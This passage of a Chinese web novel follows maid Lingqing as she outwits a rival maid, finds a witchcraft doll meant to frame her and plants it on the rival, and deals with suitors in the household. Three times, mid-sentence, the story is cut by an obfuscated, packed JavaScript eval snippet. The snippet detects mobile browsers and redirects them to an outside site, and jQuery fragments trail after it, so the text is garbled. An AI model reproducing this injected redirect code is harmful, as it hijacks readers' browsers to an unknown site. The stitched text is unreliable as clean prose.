谷翠喜笑颜开,与凌青客套了几句后,却忽然向身后招招手:“渚碧,东西太多,凌青一个人怕不行,你帮把手。” 渚碧从谷翠身后慢吞吞地走出,脸上满是不情愿,连个招呼也懒得打。 谷翠见状,眉头微皱:“渚碧,小姐嘱咐的话你又忘了?上次的十个板子还没让你吃教训吗?” “用不着你来提醒我,装什么。”渚碧冷冷道。 “你………” 凌青拉住谷翠,冷静道:“谷翠姐姐,别耽误了正事。” 她可不是想替渚碧打圆场,实在是不想浪费时间在这陪她俩干耗。而且就渚碧这个逮谁咬谁的死样,她都替谷翠感到不值。 凌青走在前面,渚碧跟在后面,两个人一个面无表情,一个拉着一张脸,一路走过来,路上的下人们如避蛇蝎,唯恐避之不及。 到了库房,今日儿不当值,当值的是一位姓李的婆子,很是和蔼。见她们来了,便热情的迎上来。 “是渚碧姑娘和凌青姑娘啊,快进来,别晒着了。你俩这一进来啊,这库房都亮堂了,还得是俏生生的漂亮姑娘招人稀罕………” 凌青客气回礼:“有劳李婆了。” 她掏出单子,刚要递给李婆子,旁边却出现一只手,猛地夺了过去。 渚碧抢过单子,不屑地瞥了一眼,递给李婆子:“赶紧的弄。” 李婆子显然也愣住了,只是她年纪大,什么场面没见过,立马反应回来,尴尬笑了一声:“是,是,这些东西都有,只是要的不少,两位姑娘稍等,我这就去取。” 说完,便忙活开了。 凌青上去帮着搭了把手,渚碧在一旁冷眼旁观,见李婆子取出来几样东西,便挑三拣四了起来。 “这绢花的颜色怎么这般暗淡?”她拿起一朵粉色绢花,一脸嫌弃:“怕不是放久了褪了色了吧。” 李婆子连忙解释:“哪有啊,这是新采购的,颜色是淡雅了一些,但可不是褪色。” “新到的?”渚碧冷笑一声,嫌弃的扔在地上:“我看就是拿旧货糊弄人!我们小姐金枝玉叶,岂能用这种便宜货!” 李婆子涨红了脸:“哎———”她忍了忍,最终还是没反驳,低下身子拾起那绢花。 渚碧见没人反驳她,似乎是更来劲了,又拿起一盒胭脂嗅了嗅:“这胭脂什么味啊,怎么一股子霉味。” 李婆子一惊,连忙接过闻了闻,可怎么闻都没闻着霉味。 “没有霉味啊。”李婆子小心道。 “你是说我鼻子有问题?”渚碧又炸了,高着嗓门叫道:“你是不是觉得我们二小姐好欺负啊!” 二小姐这个名号砸下来,吓得李婆子连连摆手:“不不不,我可不是这个意思,渚碧姑娘,你别多想。” 凌青实在看不下去了,她本不想出头,但渚碧这个疯狗样实在可恨,若是再不治治她,那就彻底无法无天了。 “可以了吧,能不能住嘴了。”她平静道。 渚碧听她开口,眼中闪过一丝恶意,转过头来,阴阳怪气道:“哟,这么善良,这就看不下去了?也是,都是卑贱下人,你们自然是将心比心。” 她这话说的极其恶毒,既在暗讽李婆子,又阴阳了一把凌青。 凌青淡淡道:“你这话真有意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956631|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,难道你不是下人了?” 渚碧一噎,随即有些恼羞成怒:“你拿我和你们比?我可是小姐的贴身侍婢,陆府的一等丫鬟!” “一等丫鬟就不是丫鬟了?那镀金的夜壶就不是夜壶了?还是你渚碧的名上陆家族谱了,正式成了我们陆府的主子了?” 凌青语速极快,渚碧根本打断不了,稀里糊涂听完这一段话,渚碧过了一会儿才反应过来。 她气得七窍生烟,扑过去就要撕了凌青。 凌青一下子闪开,继续说:“不过你话说得没错,我们都是卑贱的下人。只是………”她语速放缓:“有些下人呢,虽然出身低,但有用处,有些下人啊………” 她意味深长的看了一眼渚碧:“屁用没有,还自命不凡,自比天高,贴身伺候主子学了点眼界,就觉得自己带着小姐命,谁都瞧不上了。” 渚碧被李婆子狠狠抱住,只能无能狂怒:“你疯了是不是,敢这样和我讲话!” 凌青像逗狗一样,在她眼前疯狂晃悠,但让她够不到:“我还没说完呢,你连胭脂好坏都分不出来,就在这里指指点点,谁给你的脸,谁给你的勇气?” “谁跟你说我分不出来的!” “分得出来?”凌青冷声,“那你倒是说说,这胭脂用的是什么花制的?为什么会有这种香味?还是说,你其实根本不懂,只是想找茬而已?” 渚碧张了张嘴,说不出话来,只是那双眼睛仍然恶狠狠的瞪着凌青。 凌青任她瞪,反正她就算把眼睛瞪死了,也对自己造不成任何伤害。 她忽然又想起那日食盒的事。那天渚碧那么紧张,那食盒说不定也有什么蹊跷,她正好拿这个刺激刺激她……… 她刚要开口说自己知晓了食盒的事,却忽然听见“哇”的一声怒喊。 渚碧眼含泪花,抹着眼泪,声音也带着哭腔:“好,好,你们都欺负我………凌青,你等着,你等着!” 说完,她竟是哭着跑了出去。 凌青目瞪口呆的看着她的背影。 竟被活生生气哭了?她还没用狠的呢。 库房里一时安静下来,李婆子也在愣神中,凌青向她道歉:“李婆,让你受惊了。” “哎呀没事没事,”李婆子缓了过来,心中对凌青更添了几分好感:“凌青姑娘心地善良……渚碧姑娘………哎,还是太年轻了。” 年轻是什么意思,已经很明显了。 凌青将东西收拾好,便告辞离开。她当然没有去追渚碧,而是分了两次把东西拿回来后,直接将事情的经过如实禀报给陆沁。 陆沁更是无奈,有些头疼的揉了揉眉心:“这个渚碧,以前只是泼辣了点,但还算懂分寸,最近也不知怎么了,越发没有规矩。” “渚碧姐姐直率了点,只是在咱们院里直率没事,在陆府其他下人面前,还是得顾及些。”凌青又开始“上眼药”。 “管教不好下人,终究是我的错。等她回来,我定要和她好好谈谈。” 可左等右等,渚碧也没回来。 直到戌时,天色已黑,陆沁有些着急了:“渚碧不会出什么事了吧。” 谷翠也担心,两个善良的人开始揣测,渚碧会不会想不开,去寻了短见。 凌青心想:“全天下的人都去寻了短见,渚碧也不会,就这样自私自利的人,活着都不够,怎么可能主动死。” 陆沁已经着急了起来,连忙吩咐谷翠:“快去找人,我们去找找渚碧!” “是!”谷翠连忙应声而去。 陆沁又叫来其他丫鬟,包括茶药间众人,一同去寻找渚碧的踪迹。整个月露榭都动了起来,在陆府里里外外找了个遍。 凌青一边漫不经意的逛,一边在想,哪里都没有,这渚碧能去哪,难道是……在别人的院子里? 找了一个时辰,众人都找得疲惫不堪。陆沁一脸焦急,盘算着要不要去找老夫人帮忙。 此时,前门外忽然传来一段零碎的哼曲声。 “墙头杏花……两三枝…” “怎的……偏落……砚台边……” 渚碧哼着曲,姗姗来迟回到院里。 她脸上已经没有了白天的恼怒,取而代之的是一脸春色,好像遇到了天大的好事一般,眼中闪着喜悦和得意的光芒。 “渚碧!”陆沁见她回来,又是关切又是恼火,一向温柔的她此刻也冷静不了:“你跑哪里去了?” “小姐,奴婢没跑哪里去,就是心情不好,到处走走。”渚碧轻描淡写道,神情间竟有几分漫不经心,丝毫没有愧疚。 “你可知道我们有多担心?”陆沁责怪道。 “奴婢知道小姐最心疼奴婢。”渚碧笑了笑,却并不解释自己到底去了哪里。 凌青在旁冷眼看着,只觉得她一定是碰上了什么人。这其中,定有什么蹊跷。 16. 巫蛊 陆沁斜倚在软榻上,手中拿着一本话本,看得正起劲。 陶嬷嬷端着燕窝粥走了进来,看着自家小姐的气色,不由得欣慰地笑了。 “小姐这些日子气色真是好了不少,比去年这时候强了太多。”陶嬷嬷一边盛粥一边说道,“往年这个时候,小姐都得在屋里闷着,哪里还能和其他小姐们聚会赏花。” 陆沁放下话本,也有些感慨:“是啊,自从凌青来了之后,我的身子真是好了不少。” “还是老夫人会识人,从三小姐那特意把人拨过来,就是看中她懂医术。” 陆沁原先也觉得,她这些娘胎里带来的病是调养不好的。毕竟这么多年了,府中大夫一波又一波,开了不少方子,喝了不少药,却都未曾有什么起色。 这些不治之症又不会损伤寿命,只能这么一直熬下去。 直到,她见识了什么叫做民间偏方。 她想到这,又不禁赞叹:“也不知道凌青这丫头从哪知道的这么多民间奇方,上次我头疼,她把核桃仁泡在酒里煮了一碗给我喝,之后竟很少犯了。” “还有上次那药包,挂在床前真的有用,省了日日喝苦药。” 一旁整理床铺的谷翠听了,也笑了:“小姐可真是越来越喜欢凌青了,不过这话可别让渚碧听见,她最近......” 她话没说完就停了,但陆沁也一下子听出了她的未言之意。 哎……是,多了凌青这么个省心的,身边的渚碧却忽然又变得不省心了。 她一向脾气软,本就不知如何驾驭下人,摊上渚碧这么个随时要炸的烫手山芋,那叫一个发愁。 陆沁瞬间脸色有些不好看了:“渚碧的事情,我也不知该如何是好。她从小跟着我,按理说应该为我高兴才对,可这些日子越发不懂事了,总是看凌青不顺眼。前天自己闹失踪,到现在也不跟我解释一句。” “给渚碧些时间,她总会自己想看的。”谷翠安慰道。 “希望如此………” 她刚要拿起那本还没看完的《霍小玉传》,方才看到了薄情郎负心而去,霍小玉病骨支离,犹自泣血而誓,她此时正唏嘘着。 忽然,门外传来丫鬟的通传声。 “小姐,二公子来了。” 二公子?砚修? 陆沁有些惊讶,但很快眼神里充满喜悦:“快,请砚修进主厅。” 陆砚修推门入了主厅,今日也是一身月白长衫,看起来更是温润。他一见着陆沁,就笑着拱手行礼。 虽是同父异母,但陆沁与他感情倒是不错,两个人都是京中颇负盛名的才子才女,也有很多话聊。 且陆砚修这人为人公正,虽与陆皎一个母亲,却从不会因为这层血缘而偏颇陆皎。 “二姐气色不错。”陆砚修坐了下来:“我还担心二姐闷在屋里太无聊,所以才来陪你解解闷。” 陆沁一笑:“那你可来晚了,我的身子调养得不错,已经不怕那些花粉,可以正常出门了。” “哦?”陆砚修惊讶道:“是哪位府医给二姐调养的,这可是大功一件啊。” “不是府中大夫。” “那是外面请的?” 陆沁仍然摇头,看陆砚修一副百思不得其解的样子,才忍不住笑道:“是我茶药间的丫鬟,凌青,她入府前家里开过药铺,懂不少民间方子,那些方子虽然古怪,但都有效着呢。” 听到“凌青”二字,陆砚修神色似乎有些波动,但很快又恢复如常:“哦?有这么厉害的丫鬟?” “是很厉害,她为人也稳重,靠得住,似乎没有什么不会的。” 陶嬷嬷都忍不住在旁边笑了:“小姐,凌青是好,但您也不能逢人就夸。” 陆沁脸一红:“哪有这么夸张。” 陆砚修在旁也跟着笑了起来,眉眼弯弯,露出两个梨涡,显得格外亲和。 他本就和陆沁都长得像爹,年岁也差不多,两个人坐在一起,跟一母同胞生出来的一样。 “二公子来了之后,小姐心情更是好了,上次小姐这么开心的时候,还是逄家公子来的时候。”陶嬷嬷在一旁道。 “逄家兄长?”陆砚修挺起身:“许久没见他了,还怪想念他的。他时常来找二姐吗?” “也不常来,只是来一趟就得闹个鸡飞狗跳的。你也知道他这人,像个小孩似的,喜欢撒娇。”陆沁提起逄楚之的语气,透露出这一股她自己都没察觉到的宠溺。 陆砚修眸色一深,但很快又温润一笑:“是啊,但有他在的地方就不会无聊。”他顿了顿,忽然转移话题:“对了,刚才听二姐提起深那个丫鬟,我倒是有些心生好奇。” “凌青?” “是啊,我也想见见这位能人,”陆砚修状随意道:“我最近正好有些乏累,她如此有本事,倒可以请教一二。” 陆沁一听,连忙吩咐谷翠去叫凌青起来。 不多时,一个清瘦的身影出现在门口。 “奴婢凌青,见过二小姐,见过二公子。” 陆砚修原本只是随意地抬眼看去,但听到这声音的瞬间,整个人都怔住了。 声音清冷至极,语气也有些硬,越听越有几分熟悉……… 他想起了之前撞到的那个丫鬟,当着他的面胡说八道,左右而言他,让他哭笑不得。只是当时过去之后他便将此事抛在脑后,今日听了这声音才又想起来。 没想到竟是她! 陆砚修心中涌起一阵兴味,面上却不动声色,细细打量起此人的容貌。 算不上绝世倾城,但也是个突出的美人胚子。生的很是清丽,身上也不见什么烟火气,像个冷冰冰的白瓷娃娃。 他以为这丫头看着他会惊慌失措,谁知对方连眼睛都没往上瞥一下。 “凌青,砚修最近有些乏累,你能否帮我看看,有什么调理的法子。”陆沁轻声道。 凌青规规矩矩地答:“回二小姐,若是二公子只是春困,可配些提神的香囊。若是夜不能寐,可煎安神汤药。具体如何,需问二公子是何症状。” “我倒是夜里睡得着,只是白天容易犯困。”陆砚修说着,眼睛紧紧的盯着她不放。 “春日阳气上升,人容易困倦。”凌青丝毫不抬头,一本正经地应着。 “那有时候走路不看路,容易撞到人,这也是春困的缘故吗?” 他轻描淡写地说完了这话,眼睛却仍然跟着凌青。 终于,凌青不负众望地抬头,看了他一眼。 那是极其没有感情的一眼。 她一板一眼地回道:“回二公子,春日肝火旺盛,若不注意调理,确实容易心神不宁,做事毛躁。建议二公子平日里多饮菊花茶清肝明目,走路时专心致志,自然不会撞到旁人。” 陆砚修:“………” 他算是明白了,当初自己还天真的以为,那答非所问的丫头可能是哪来的傻子,今日一看简直大错特错,不是傻,是太精了,精的都有些滑头了。 “既然如此,奴婢回去配些清神的香囊,二公子佩戴几日试试。”凌青说完就要告退。 “你去忙吧,辛苦你了。”陆沁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956632|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对她微微一笑。 凌青走出主厅,方才还恭敬的神色瞬间消失得一干二净。 “还是被认出来了………”她喃喃轻声道。 但无所谓了,她当初又没有留下什么把柄。且陆砚修这人人模狗样的,最是看重规矩,即使觉得她奇怪,也不会插手到自己长姐的院子。 ———— 夜里,回到房中,其他人已经睡下了。 凌青在一片黑暗中摸到自己的床铺,按照往日惯例,她习惯性地摸索了一把床前的素纱。 这一摸,顿时让她心内一震。 原本素纱是用绳带系起来的,那里还夹了一根头发,就是她以防别人动自己床铺,特意弄的。 如今,头发丝已经不见了,那绳子系的结,也与她白日走之前不一样了。 她揭开素纱,小心翼翼地在床上枕头下摸了一圈,什么也没有。 又蹲下身子,在床沿下方反复摸索,果然,摸索到床下最里面时,她的指尖碰到了一个东西。 她快速取出那东西,也顾不上看,揣在衣服里,悄默声走了出去。 走出门外,躲到一个隐蔽角落。借着月光,她终于看清了那藏在自己床下的东西——— 这是一个桐木小人,面部没有五官,但用朱砂点出了七窍。人偶四肢皆用红线缠绕,肚子被剖开,里面塞着黄纸,用朱砂写着生辰八字。 这生辰八字……… 是陆沁的! 这分明是巫蛊之术,自前朝有嫔妃利用巫蛊害人,如今律例明载:“巫蛊厌胜者,凌迟。” 按照律例,对巫蛊案向来是宁可错杀,也不能放过一起,哪怕是主子也一样。若她被发现,一是证据确凿,二是一个普通丫鬟,下场如何惨淡,可想而知。 凌青手指微微颤抖,不是因为恐惧,而是愤怒。不用想也知道是谁的手笔,知晓陆沁生辰八字,还想将她置之死地,除了渚碧还能有谁。 只是渚碧实在恶毒,只是因为自己看见了她和陆屏奶嬷嬷在一块,她就开始疑神疑鬼,一次次针对自己。 她又细细检查了一遍人偶,发现黄纸上还有一行符文,并非陆沁姓名和八字。 这符文………有些眼熟啊。 她细细回想,终于想起自己曾看过一本名为《玄冥志异》的册子,里面曾写过一种咒法,叫“换命咒”,符文似乎就是这样。 顾名思义,换命咒就是换命,夺取他人气运,被夺运者则会在不经意间越来越衰弱和倒霉,直至身死。 想不到渚碧还有点脑子,想出了这么高级的陷害手法,连作案动机都帮自己想好了,背后怕是有高人指点吧。 到时候渚碧说她想与陆沁换命才行巫蛊之术,再找出这桐木偶人,她凌青就真的连反驳的机会都没有,直接定罪了。 既然渚碧要玩这种把戏,那就别怪她以其人之道还治其人之身。 凌青重新将黄纸塞回人偶肚里,然后趁着月黑风高,如鬼魅般神不知鬼不觉穿过院子,来到渚碧住的地方。 渚碧的房间在丫鬟房中算是极好的了,她娇贵,说和别人睡不惯,连谷翠都不能和她一起住。所以陆沁特许她一个人住,还住的紧邻陆沁的闺房。 渚碧的房门前,还种着一颗海棠花树。 凌青找准位置,在海棠树下挖了个小坑,将人偶埋了进去,然后小心地掩盖好,确保看不出一点被挖过的痕迹。 说起挖坑埋东西这招,还是之前的碧桃教给她的。 果然,这种陷害别人的阴险之事,还得从恶人身上学。 17. 崔氏 凌青正站在五小姐陆屏的院子外。 昨夜将那桐木偶人埋到渚碧房门前的海棠树下后,她就回房了,但这一夜却并没睡沉。 她一直在反复思索,渚碧那日以送血燕的名义,和陆屏身边的白嬷嬷见面,并没有什么不妥,她到底为何如此紧张,笃定自己看到了什么,一次次的想要致自己于死地? 她就不怕自己被逼急了,直接与陆沁说出口吗。 那到底是件什么样的东西呢………能藏在食盒的一层中,必定也不是什么大物件……… 其实这事也不是必须要弄明白,毕竟那个桐木偶人已经可以致渚碧于死地。但她向来做事要做完备,且这府中所有有秘密的人,她都要摸得清清楚楚。 陆沁那里新得了一些好茶,今日特意遣人送到几个妹妹那里,正好让凌青得了机会。 陆屏的院落很是狭小,正房不过就两间,窗棂也是极普通的锦纹,西侧搭着个更小的耳房。 看得出来,这位五小姐是不太受宠。 凌青走进屋里,看着一个年纪不大的女孩子正对着铜镜梳妆。 凌青站在她后面,恰巧能从那面铜镜中看到这陆屏的样子,没有她想象中的懦弱低调,反而有些……… 她一身崭新的玫红色锦缎,上面的金线还泛着光泽,头上戴着一整套赤金嵌翡翠的头面,在她小小的头上那叫一个累赘。手腕上套着三四个镯子,有翡翠的、东珠的、还有纯金的,叮叮当当响个不停。 这身打扮花哨的要命,与她小家碧玉的面貌也不相符,像是有什么好东西全都堆身上了。 凌青收回眼神,恭敬道:“五小姐,奴婢凌青,是二小姐院里的,近日二小姐新得了些好茶,特命奴婢给五小姐送来。” 陆屏转过脸来,神情确实有些古怪,似乎带着点紧张,却又要强颜欢笑:“哦,多谢二姐了,放这里吧。” 凌青福了福身子,依言要将手中的托盘放到桌案上,却看到上面有个檀木首饰盒,盖子半开着,里面密密麻麻全是各色首饰,金光闪闪的。 她不动声色地放下托盘,轻声笑了笑:“奴婢今日初见五小姐,五小姐还真是明艳如牡丹,好看的紧呢。难怪二小姐有什么好东西都先想着您。” 陆屏愣了愣,有些迟疑地转头确认:“牡、牡丹?” 紧接着她似乎很是欢喜,摸了摸头上的金钗子,反反复复的看着铜镜,似乎也觉得镜中人这么一打扮,真的美艳不可方物。 “你可真会说话。”她抬起头,一半得意,一半享用的看向凌青,“这有银锞子,赏你一个。” 这么大手笔啊,凌青瞬间不觉得她披金戴银显得土了,这分明是财大气粗! 她接过银锞子,真心实意道:“谢五小姐,那奴婢就告退了。” 唉,吃人嘴短拿人手软,她有一瞬间都有些不好意思调查下去了。 但也只是一瞬间而已,这五小姐的装扮行为,全都是反常之处。她身上,必有大问题。 凌青告退后,并未离去,就站在院墙处花丛下,蹲下身子假装找东西,其实在偷听下人们说话。 果然没多久,就听到院里路过的丫鬟们压低声音的议论。 “小姐最近真是阔绰,昨日赏了我半钱银子。” “我怎么没这好运气。不过我看到小姐那头面了,可真华贵,感觉都比得上三小姐和四小姐的了。” “也不知道小姐这银子是从哪儿来的...那身行头少说也得一百多两,难道是姨娘给的?可姨娘要是有,怕是早给了吧,还会等到现在?” “说不定是三小姐给的呢,咱们五小姐和三小姐玩的好。” “………三小姐?快算了吧,三小姐那脾气……怎么可能啊。” 随着几个丫鬟走过去,凌青也站起身子。 陆屏一个不受宠的庶女,连月例银子也只不过是五两,就她那身行头,得攒个多少年才能攒出来?所以这来钱的路子必有问题。 想起渚碧那日的慌张,她心中略有方向,但还没有完全确认这猜测。 她思索着,不由自主走到了陆府的正门前。 此时府门处传来了车马声。凌青循声望去,只见大门处停了一辆马车,马匹车身雕工精美,一看便知主人非富即贵。车前的马匹是两匹神骏的汗血宝马,通体雪白如银,鬃毛如云。 府里来客人了? 凌青不由对来人心生好奇,停住脚步,多看了两眼。 马车车帘轻动,先是探出一只修长白皙的手,五指纤长如玉。 一看就是养尊处优的手。 门帘继续掀开,车里人缓缓下来,露出了全脸。 狭长桃花眼微微上翘,一张明艳脸庞活色生香,不是逄楚之是谁? 凌青:“………” 她此时恨不得给自己两巴掌,不断在心里唾弃自己:让你好奇!好奇出事了吧! 逄楚之似乎也遥遥看见了她,隔着大老远,竟忽然开始挤眉弄眼,对着她轻挑眉稍,不断眨眼。 凌青毫不犹豫地转身就走。 ———— 春日午后,月露榭花厅内香烟袅袅。 凌青端着茶盘缓缓走进,盘中放着一套甜白釉茶具。她忽略掉逄楚之炙热的目光,动作娴熟地在每个座位前摆放茶盏。 茶壶中倒出的是今年的明前龙井,茶汤清澈碧绿,香气清雅。 “表哥许久没来陆府了,阿姐的月露榭是不是比你的府邸打理的好多了?”逄楚之看凌青不理他,便侧过身去与旁边的人说话。 布完茶,凌青退到一旁,假装不经意的看了一眼坐在逄楚之旁边的男子。 看着比逄楚之年长一两岁,剑眉入鬓,目若朗星,看起来正气十足,却又不失清雅。最难得的是,他一举一动都从容端正,透着一股君子风范。 这就是陆沁的未婚夫婿,鼎鼎有名的清河崔氏家的人,逄楚之的表哥———大理寺少卿,崔令徽。 凌青不禁在心中感叹,不愧是清河崔氏,行为举止都比旁人贵三分。 “确实雅致。”崔令徽温声答道,却有些心不在焉,目光一直看着门口的方向。 “表哥看什么呢?”逄楚之挡住他的视线。 崔令徽愣了愣,有些不好意思的收回视线,尴尬道:“我……随便看看。” 说完,他匆忙端起茶盏饮了一口。 “哦?随便看看啊。”逄楚之把椅子朝崔令徽又挪了一步,一脸单纯,“那表哥觉得这门口的景色如何?是不是特别期待有什么美丽的景色出现?” 崔令徽看着光风霁月,稳重大气,却是个不经逗的,两三句话就让他面红耳赤:“你胡说什么。” 逄楚之立马换上无辜的表情:“表哥,我说什么了?说个风景也叫胡说八道啊?” 凌青站在一旁,内心只有对崔家公子的同情。她心道:你还不了解你这位表弟吗,你越这样给他反应,他就越来劲。他就爱逗弄你这种老实人。 正说话间,门帘忽然轻动。 逄楚之和崔令徽不由自主停了言语,朝门口看去。 一道纤细的身影掀起门帘,走了进来。 陆沁本就温婉动人,不施粉黛时,纤眉淡淡,唇色浅浅。今日稍微梳妆打扮,青丝挽作云髻,簪一支白玉芙蓉钗,唇上点了淡淡的口脂,竟添了几分柔美的生气。 她微微抬眸,眼波流转间,比平日多了几分欣喜和羞涩。 “楚之,崔……公子。”她款款上前,向逄楚之颔首示意后,有些含羞带怯的看了崔令徽一眼。 崔令徽自见她进来,顿时眉目舒展,眼里闪过惊艳。他连忙站起身来,温声道:“陆二小姐,别来无恙。近来……身子可好?” 两个人对视了一眼,又都不好意思的移开了眼神。 逄楚之在旁边看着,嘴角慢慢扬了起来。 “一切都好,多谢崔公子关心。”陆沁抬眸,却不敢看他,“崔公子在京中可还习惯?” “托陆二小姐的福,一切都好。"崔令徽的声音更加温柔,“我………” 他表情依旧温润,可眸色里似乎压抑着深不见底的感情。 早在来陆府之前,他便有千言万语想要对她说。 看到翰林院的的海棠花树时,他会想起她院中也有颗海棠树。夜里看书时,总忍不住想象她此刻和自己是否在读一本书......可真正见到她,那些精心筹备的话却全都消失了,只剩下心跳如雷和满心的欢喜。 他很想一直看着她,却又怕自己的目光太过炽热会让她不自在。 气氛忽然有些静谧,陆沁的脸颊泛起淡淡的红晕,垂下了眸子。 崔令徽见状,心中一慌,生怕她觉得尴尬,连忙想着该说些什么来缓解这份静默。忽然,他想起了什么,眼中一亮:“对了,我这次来,给陆二小姐带了一样东西。” 陆沁抬起眸子:“什么?” “我听楚之说,二小姐近日一直在搜集琴谱,可惜我并不知二小姐想要什么古谱,于是………”他吩咐下人呈上东西,竟是一把古琴,“我在京中寻得一张古琴,名曰''流水'',音质极佳。想着二小姐弹琴正好用得上,便带来了。” 这古琴通体乌沉,琴面漆色沉古,一看便是一把不可多得的好琴。 陆沁接过琴,两人的手指无意间相触,都如触电般迅速收回。她脸颊飞红,匆匆把琴交给谷翠,轻声道:“多谢,我………我很喜欢。” 凌青看着两个人站起一起的样子,越发觉得这是天造地设的一对。从外貌,家世,内涵,两个人都如此相配。 她正看着,却发现逄楚之不知何时靠到了自己身边。他故意压低声音,用一种温柔又撒娇的语气道:“姐姐,许久不见,最近可还好?” 上次她让他哑口无言的场面还历历在目,她以为此人已经放弃在她身上找乐子了,却没想到还是低估了人脸皮的厚度。上次说得那么难听,这次还能当作什么都没发生一样。 凌青平静地抬起头,眯了眯眼,端详了一阵逄楚之,忽然道:“您是?” 逄楚之显然也没想到,凌青这次换了新路数。他挑了挑眉:“不认得我了?我们见过那么多次。” “奴婢每天见过的人太多了,实在不记得您是哪位。” “哇,你也太坏了吧,翻脸不认人啊。”逄楚之低下头,在她耳边轻声道:“我可不信……你这么聪明,会不记得我。” 凌青很想说,你算哪根葱,还真把自己当回事了。 看凌青不搭理他,逄楚之也不恼,笑着把自己的茶盏推了过来:“好好好,那你就当咱俩第一次见面吧。这位陌生的姑娘,你茶泡得真香,能否为我再添一杯?” “公子要茶,自然是奴婢的本分。”凌青冷淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956633|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地应了一声,给他倒了茶,递过去时故意避开了他的手,也不去看他。 但是眼不见,耳朵还能还能听见,听着这人端茶的动作声她都嫌烦。 “公子还是少喝些茶吧,您身上感觉都快被绿茶腌入味了。” 逄楚之正端着茶盏喝的正起劲,一听到她这话,手一抖,竟呛得咳嗽起来: “咳咳咳……” 凌青瞥了他一眼,表情嫌弃,离得更远远的。 正在这微妙的时刻,门外忽然传来一阵急促的脚步声和环佩叮当声。 “令徽哥哥!” 娇俏的少女声音,却因为太过高昂而显得有些刺耳。众人都转头望去,只见三小姐陆皎穿着一袭红色锦衣,满头珠翠,浓妆艳抹地冲了进来,脸上带着少女怀春的兴奋和羞涩。 凌青不由皱起眉。 陆皎?她怎么来了。今日是长姐与未婚夫见面的日子,她一个妹妹,不避嫌就算了,还直接闯进来,也太唐突了吧。 但她很快就知道陆皎来这的用意了。 陆沁脸色微变,但仍然一派端正,温声道:“三妹妹怎么来了?” “自然是因为令徽哥哥来了。”陆皎说着,竟然直接走到崔令徽面前,眼睛都在发光,“令徽哥哥,你怎么来了都不告知我一声,幸好我听下人们讨论,这不,立马我就过来了。” 她撒着娇,眼神含羞带怯,与之前那副泼辣样子完全不同。 敢情………这位三小姐是看上了自己的姐夫?怪不得和陆沁不对付,甚至还想让她死,原来是想顶替人家的婚事啊。 崔令徽皱了皱眉,后退一步:“三小姐客气了。” “令徽哥哥,你怎么和我这么生疏了。"陆皎竟然又往前凑了一步,差点贴到崔令徽身上,“你好久不来了,今天我一听着你来,可开心了,还特意打扮了。你看我今天这身打扮怎么样?好看吗?” 说着,她还故意转了个圈,裙摆飞扬,珠翠叮当作响。 崔令徽的脸色越发深沉,但他毕竟是客人,碍于礼数不好直接拒绝。陆沁也坐立难安,一向温柔的神色此时难看到了极点。 凌青侧头看了一眼逄楚之,发现此人也收敛了那玩笑的表情,似乎有些尴尬。 能让一个只会让别人尴尬的人尴尬,可见陆皎的本事有多大。 陆皎浑然不觉氛围有多奇怪,一个劲的缠着崔令徽:“令徽哥哥,你还记不记得之前,我小的时候,你特意送了我一个瓷娃娃………” “那是我给府里每位小姐都送了的………”崔令徽无奈了。 老实人面对这种看不懂别人眼色的人,可太吃亏了。 凌青本不想多管闲事,但此时陆沁尴尬极致,也无人敢上去招惹陆皎这个烫手山药。 若她此时上前解围,定会让陆沁更加信任于她。 凌青端着茶壶走过去,淡声道:“三小姐,奴婢给您添杯茶吧。” 陆皎不耐烦地挥挥手,眼睛依然盯着崔令徽,“走开,别挡着我和令徽哥哥说话!” 凌青走到陆皎身后,假装恭敬的在给她倒茶,刚拎起茶壶,手忽然一抖—— “哗啦!” 滚烫的茶水直接洒在了陆皎的大红裙子上,瞬间洇湿了一大片。 “啊——————!” 陆皎尖叫一声,跳了起来,“你这个死丫头!你瞎了眼吗?!” “啊,对不起,奴婢手滑了。”凌青假装害怕,连忙蹲下身子:“奴婢给您擦擦。” “擦什么擦!”陆皎气得脸都扭曲了,“我这裙子可是新做的!你个贱婢,你想死吗?” 说完她就想上来动手。 崔令徽有些不悦,直接拦了下来:“你长姐还在此,就越过她私自惩罚丫鬟,有些不合规矩吧。” 陆皎委屈的抬起头:“明明是她先………” “奴婢该死,该死。”凌青装的一脸惶恐,“奴婢这就给三小姐擦擦...…” 说着,她拿起帕子要去擦陆皎的裙子,看着认认真真。结果越擦水渍范围就越大。 陆皎看着越擦越大的水渍,更加恼火:“你到底会不会擦!“ 凌青一脸无辜:“奴婢尽力了,可这水已经渗透了……” 